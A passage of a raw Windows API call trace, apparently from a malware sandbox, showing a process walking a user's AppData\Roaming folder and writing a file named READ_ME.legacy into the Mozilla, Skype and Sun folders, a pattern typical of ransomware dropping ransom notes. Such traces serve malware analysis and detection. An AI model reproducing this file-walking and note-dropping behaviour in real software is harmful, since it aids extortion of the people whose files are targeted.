hHeap=0x520000) returned 1 [0117.635] GetLastError () returned 0x0 [0117.635] SetLastError (dwErrCode=0x0) [0117.635] GetLastError () returned 0x0 [0117.635] SetLastError (dwErrCode=0x0) [0117.635] GetLastError () returned 0x0 [0117.636] SetLastError (dwErrCode=0x0) [0117.636] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0117.636] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.636] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0117.636] WriteFile (in: hFile=0x6a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.638] CloseHandle (hObject=0x6a8) returned 1 [0117.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0117.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0117.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dc90 | out: hHeap=0x520000) returned 1 [0117.638] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb104abb0, ftCreationTime.dwHighDateTime=0x1d4c935, ftLastAccessTime.dwLowDateTime=0x522b85a0, ftLastAccessTime.dwHighDateTime=0x1d4c7e1, ftLastWriteTime.dwLowDateTime=0x522b85a0, ftLastWriteTime.dwHighDateTime=0x1d4c7e1, nFileSizeHigh=0x0, nFileSizeLow=0x1197e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="o8E6mZSi5.m4a", cAlternateFileName="O8E6MZ~1.M4A")) returned 1 [0117.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0117.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0117.638] GetLastError () returned 0x0 [0117.638] SetLastError (dwErrCode=0x0) [0117.638] GetLastError () returned 0x0 [0117.639] SetLastError (dwErrCode=0x0) [0117.639] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0117.639] GetLastError () returned 0x0 [0117.639] SetLastError (dwErrCode=0x0) [0117.639] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571cc0 [0117.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571cc0 | out: hHeap=0x520000) returned 1 [0117.639] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0117.639] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x835b1170, ftCreationTime.dwHighDateTime=0x1d4cb76, ftLastAccessTime.dwLowDateTime=0x5df1bf50, ftLastAccessTime.dwHighDateTime=0x1d4d5b8, ftLastWriteTime.dwLowDateTime=0x5df1bf50, ftLastWriteTime.dwHighDateTime=0x1d4d5b8, nFileSizeHigh=0x0, nFileSizeLow=0x4dcb, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="oKkcll n BcmUUI e.wav", cAlternateFileName="OKKCLL~1.WAV")) returned 1 [0117.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.639] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0117.639] GetLastError () returned 0x0 [0117.639] SetLastError (dwErrCode=0x0) [0117.639] GetLastError () returned 0x0 [0117.639] SetLastError (dwErrCode=0x0) [0117.639] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0117.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0117.640] GetLastError () returned 0x0 [0117.640] SetLastError (dwErrCode=0x0) [0117.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0117.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0117.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0117.640] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66e29620, ftCreationTime.dwHighDateTime=0x1d4d41e, ftLastAccessTime.dwLowDateTime=0xa6d5fa00, ftLastAccessTime.dwHighDateTime=0x1d4c727, ftLastWriteTime.dwLowDateTime=0xa6d5fa00, ftLastWriteTime.dwHighDateTime=0x1d4c727, nFileSizeHigh=0x0, nFileSizeLow=0x18b86, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="OSIoVoN9.doc", cAlternateFileName="")) returned 1 [0117.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0117.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0117.640] GetLastError () returned 0x0 [0117.640] SetLastError (dwErrCode=0x0) [0117.640] GetLastError () returned 0x0 [0117.640] SetLastError (dwErrCode=0x0) [0117.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0117.640] GetLastError () returned 0x0 [0117.640] SetLastError (dwErrCode=0x0) [0117.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0117.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0117.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e8280 [0117.641] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd54b9b00, ftCreationTime.dwHighDateTime=0x1d4c750, ftLastAccessTime.dwLowDateTime=0x68e52f60, ftLastAccessTime.dwHighDateTime=0x1d4d48b, ftLastWriteTime.dwLowDateTime=0x68e52f60, ftLastWriteTime.dwHighDateTime=0x1d4d48b, nFileSizeHigh=0x0, nFileSizeLow=0x3837, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="pg81BDYZElXb.wav", cAlternateFileName="PG81BD~1.WAV")) returned 1 [0117.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0117.641] GetLastError () returned 0x0 [0117.641] SetLastError (dwErrCode=0x0) [0117.641] GetLastError () returned 0x0 [0117.641] SetLastError (dwErrCode=0x0) [0117.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0117.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0117.641] GetLastError () returned 0x0 [0117.641] SetLastError (dwErrCode=0x0) [0117.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0117.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0117.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e80e0 [0117.641] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7e9f30, ftCreationTime.dwHighDateTime=0x1d4cb87, ftLastAccessTime.dwLowDateTime=0x5d7e69d0, ftLastAccessTime.dwHighDateTime=0x1d4d3a4, ftLastWriteTime.dwLowDateTime=0x5d7e69d0, ftLastWriteTime.dwHighDateTime=0x1d4d3a4, nFileSizeHigh=0x0, nFileSizeLow=0x12fcc, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Q5uGyvVnf.odp", cAlternateFileName="Q5UGYV~1.ODP")) returned 1 [0117.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0117.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0117.642] GetLastError () returned 0x0 [0117.642] SetLastError (dwErrCode=0x0) [0117.642] GetLastError () returned 0x0 [0117.642] SetLastError (dwErrCode=0x0) [0117.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0117.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0117.642] GetLastError () returned 0x0 [0117.642] SetLastError (dwErrCode=0x0) [0117.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d38 [0117.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d38 | out: hHeap=0x520000) returned 1 [0117.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e8420 [0117.643] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9e93c0, ftCreationTime.dwHighDateTime=0x1d4d278, ftLastAccessTime.dwLowDateTime=0xa81b5b80, ftLastAccessTime.dwHighDateTime=0x1d4caba, ftLastWriteTime.dwLowDateTime=0xa81b5b80, ftLastWriteTime.dwHighDateTime=0x1d4caba, nFileSizeHigh=0x0, nFileSizeLow=0x7d4c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Q8l5y.xls", cAlternateFileName="")) returned 1 [0117.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0117.643] GetLastError () returned 0x0 [0117.643] SetLastError (dwErrCode=0x0) [0117.643] GetLastError () returned 0x0 [0117.643] SetLastError (dwErrCode=0x0) [0117.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0117.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0117.643] GetLastError () returned 0x0 [0117.643] SetLastError (dwErrCode=0x0) [0117.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ae0 [0117.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ae0 | out: hHeap=0x520000) returned 1 [0117.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dd40 [0117.643] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e8b540, ftCreationTime.dwHighDateTime=0x1d4d2e1, ftLastAccessTime.dwLowDateTime=0x3ac5dde0, ftLastAccessTime.dwHighDateTime=0x1d4ce92, ftLastWriteTime.dwLowDateTime=0x3ac5dde0, ftLastWriteTime.dwHighDateTime=0x1d4ce92, nFileSizeHigh=0x0, nFileSizeLow=0x6bc3, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="qKDnt8nOJ.mp3", cAlternateFileName="QKDNT8~1.MP3")) returned 1 [0117.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0117.643] GetLastError () returned 0x0 [0117.643] SetLastError (dwErrCode=0x0) [0117.643] GetLastError () returned 0x0 [0117.644] SetLastError (dwErrCode=0x0) [0117.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0117.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0117.644] GetLastError () returned 0x0 [0117.644] SetLastError (dwErrCode=0x0) [0117.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571cc0 [0117.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571cc0 | out: hHeap=0x520000) returned 1 [0117.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e8218 [0117.644] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64d06c70, ftCreationTime.dwHighDateTime=0x1d4c840, ftLastAccessTime.dwLowDateTime=0x184fe0f0, ftLastAccessTime.dwHighDateTime=0x1d4c9c7, ftLastWriteTime.dwLowDateTime=0x184fe0f0, ftLastWriteTime.dwHighDateTime=0x1d4c9c7, nFileSizeHigh=0x0, nFileSizeLow=0x1371d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="QMCy85dfaOOQUVZ.jpg", cAlternateFileName="QMCY85~1.JPG")) returned 1 [0117.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0117.644] GetLastError () returned 0x0 [0117.644] SetLastError (dwErrCode=0x0) [0117.644] GetLastError () returned 0x0 [0117.644] SetLastError (dwErrCode=0x0) [0117.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0117.644] GetLastError () returned 0x0 [0117.644] SetLastError (dwErrCode=0x0) [0117.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0117.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0117.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0117.644] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84bd3350, ftCreationTime.dwHighDateTime=0x1d4c922, ftLastAccessTime.dwLowDateTime=0xd6065fd0, ftLastAccessTime.dwHighDateTime=0x1d4d493, ftLastWriteTime.dwLowDateTime=0xd6065fd0, ftLastWriteTime.dwHighDateTime=0x1d4d493, nFileSizeHigh=0x0, nFileSizeLow=0x12d18, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="qsFMcsP7SF7Y5f.ots", cAlternateFileName="QSFMCS~1.OTS")) returned 1 [0117.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0117.644] GetLastError () returned 0x0 [0117.644] SetLastError (dwErrCode=0x0) [0117.645] GetLastError () returned 0x0 [0117.645] SetLastError (dwErrCode=0x0) [0117.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0117.645] GetLastError () returned 0x0 [0117.645] SetLastError (dwErrCode=0x0) [0117.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0117.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0117.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0117.645] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25b95810, ftCreationTime.dwHighDateTime=0x1d4d003, ftLastAccessTime.dwLowDateTime=0x6f870830, ftLastAccessTime.dwHighDateTime=0x1d4cd82, ftLastWriteTime.dwLowDateTime=0x6f870830, ftLastWriteTime.dwHighDateTime=0x1d4cd82, nFileSizeHigh=0x0, nFileSizeLow=0x4bf8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="qxPSVoftxL.m4a", cAlternateFileName="QXPSVO~1.M4A")) returned 1 [0117.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0117.645] GetLastError () returned 0x0 [0117.645] SetLastError (dwErrCode=0x0) [0117.645] GetLastError () returned 0x0 [0117.645] SetLastError (dwErrCode=0x0) [0117.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0117.645] GetLastError () returned 0x0 [0117.645] SetLastError (dwErrCode=0x0) [0117.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d10 [0117.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d10 | out: hHeap=0x520000) returned 1 [0117.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e81b0 [0117.645] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fd61af, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1fd61af, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd30d5758, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0117.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0117.646] GetLastError () returned 0x0 [0117.646] SetLastError (dwErrCode=0x0) [0117.646] GetLastError () returned 0x0 [0117.646] SetLastError (dwErrCode=0x0) [0117.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0117.646] GetLastError () returned 0x0 [0117.646] SetLastError (dwErrCode=0x0) [0117.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571cc0 [0117.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571cc0 | out: hHeap=0x520000) returned 1 [0117.646] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Skype", cAlternateFileName="")) returned 1 [0117.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0117.646] GetLastError () returned 0x0 [0117.646] SetLastError (dwErrCode=0x0) [0117.646] GetLastError () returned 0x0 [0117.646] SetLastError (dwErrCode=0x0) [0117.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0117.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0117.646] GetLastError () returned 0x0 [0117.646] SetLastError (dwErrCode=0x0) [0117.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56ddf0 [0117.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ae0 [0117.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56df50 [0117.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0117.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0117.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0117.647] GetLastError () returned 0x0 [0117.647] SetLastError (dwErrCode=0x0) [0117.647] GetLastError () returned 0x0 [0117.647] SetLastError (dwErrCode=0x0) [0117.647] GetLastError () returned 0x0 [0117.647] SetLastError (dwErrCode=0x0) [0117.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5676e8 [0117.647] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\skype\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0117.648] WriteFile (in: hFile=0x6a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.649] CloseHandle (hObject=0x6a8) returned 1 [0117.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0117.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56df50 | out: hHeap=0x520000) returned 1 [0117.649] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Sun", cAlternateFileName="")) returned 1 [0117.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0117.649] GetLastError () returned 0x0 [0117.650] SetLastError (dwErrCode=0x0) [0117.650] GetLastError () returned 0x0 [0117.650] SetLastError (dwErrCode=0x0) [0117.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0117.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0117.650] GetLastError () returned 0x0 [0117.650] SetLastError (dwErrCode=0x0) [0117.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56df50 [0117.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571cc0 [0117.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dad8 [0117.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0117.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0117.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0117.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0117.650] GetLastError () returned 0x0 [0117.650] SetLastError (dwErrCode=0x0) [0117.650] GetLastError () returned 0x0 [0117.650] SetLastError (dwErrCode=0x0) [0117.650] GetLastError () returned 0x0 [0117.650] SetLastError (dwErrCode=0x0) [0117.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0117.651] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\sun\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0117.651] WriteFile (in: hFile=0x6a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.652] CloseHandle (hObject=0x6a8) returned 1 [0117.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0117.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0117.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dad8 | out: hHeap=0x520000) returned 1 [0117.652] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebb22fd0, ftCreationTime.dwHighDateTime=0x1d4c7d2, ftLastAccessTime.dwLowDateTime=0xc9c40c50, ftLastAccessTime.dwHighDateTime=0x1d4d104, ftLastWriteTime.dwLowDateTime=0xc9c40c50, ftLastWriteTime.dwHighDateTime=0x1d4d104, nFileSizeHigh=0x0, nFileSizeLow=0x8c3c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="t bm0QhvdC.flv", cAlternateFileName="TBM0QH~1.FLV")) returned 1 [0117.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0117.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0117.653] GetLastError () returned 0x0 [0117.653] SetLastError (dwErrCode=0x0) [0117.653] GetLastError () returned 0x0 [0117.653] SetLastError (dwErrCode=0x0) [0117.653] RtlAllocateHeap 